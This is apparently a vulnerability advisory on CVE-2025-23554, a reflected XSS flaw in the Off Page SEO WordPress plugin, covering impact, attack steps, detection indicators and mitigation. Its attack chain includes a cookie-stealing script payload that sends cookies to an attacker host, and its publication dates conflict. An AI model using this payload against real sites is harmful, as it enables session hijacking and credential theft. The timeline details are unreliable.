CVE-2025-23554: 
WordPress vulnerability analysis and mitigation

CVE-2025-23554 is a Reflected Cross-Site Scripting (XSS) vulnerability in the "Off Page SEO" WordPress plugin developed by Jakub Glos. It affects all versions of the plugin through 3.0.3 and was reported on October 25, 2024, by researcher Mika, with the CVE published on December 29, 2025. The vulnerability was assigned a CVSS v3.1 base score of 7.1 (High) by Patchstack, the CNA for this issue (Patchstack). As of the time of reporting, no official patch from the plugin developer is available (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. It arises from insufficient sanitization or escaping of user-supplied input that is reflected back in the plugin's web page output without proper encoding. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user (e.g., a WordPress administrator) must be tricked into clicking a crafted malicious link or visiting a specially crafted page that triggers the reflected script execution (Patchstack). The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself.

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement or redirection of site visitors. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or traffic (Patchstack).

No official exploit code or active in-the-wild exploitation has been publicly documented for CVE-2025-23554. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack has issued a virtual patching/mitigation rule for its customers to block potential attacks while no official fix is available (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Off Page SEO plugin (version ≤ 3.0.3) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint that includes an unsanitized parameter containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the payload: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or by embedding it in a comment or message on the site.
4. Victim interaction: The privileged user clicks the malicious link, causing their browser to load the page and execute the injected script in the context of the WordPress admin session.
5. Achieve objective: The attacker harvests session cookies, performs unauthorized admin actions (e.g., creates a backdoor account, installs a malicious plugin), or redirects site visitors to attacker-controlled infrastructure (Patchstack).

• Network: Outbound HTTP requests from the WordPress server or admin browser to unknown external domains shortly after an admin page load; unusual referrer headers in web server logs pointing to crafted URLs with encoded script tags.
• Logs: WordPress or web server access logs showing GET/POST requests to Off Page SEO plugin endpoints containing URL-encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected new WordPress admin accounts, newly installed plugins, or modified theme files that could indicate post-exploitation activity following a successful XSS-driven session hijack.
• Browser/Session: Reports from administrators of unexpected logouts, password changes, or unfamiliar admin actions they did not perform, which may indicate session token theft via XSS.

As of the time of disclosure, no official patch from the plugin developer (Jakub Glos) is available for the Off Page SEO plugin. Site administrators are advised to deactivate and remove the plugin until a patched version is released. Patchstack users benefit from a virtual patching mitigation rule that blocks exploitation attempts automatically (Patchstack). Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules and enforcing strict Content Security Policy (CSP) headers can reduce the risk of exploitation.

The vulnerability was discovered and disclosed by Patchstack researcher Mika, with the entry published on March 19, 2025. No significant vendor statements, notable researcher commentary beyond the Patchstack disclosure, or major media coverage have been identified for this vulnerability. The CVE record notes it is not being prioritized for NVD enrichment efforts due to resource constraints (Patchstack).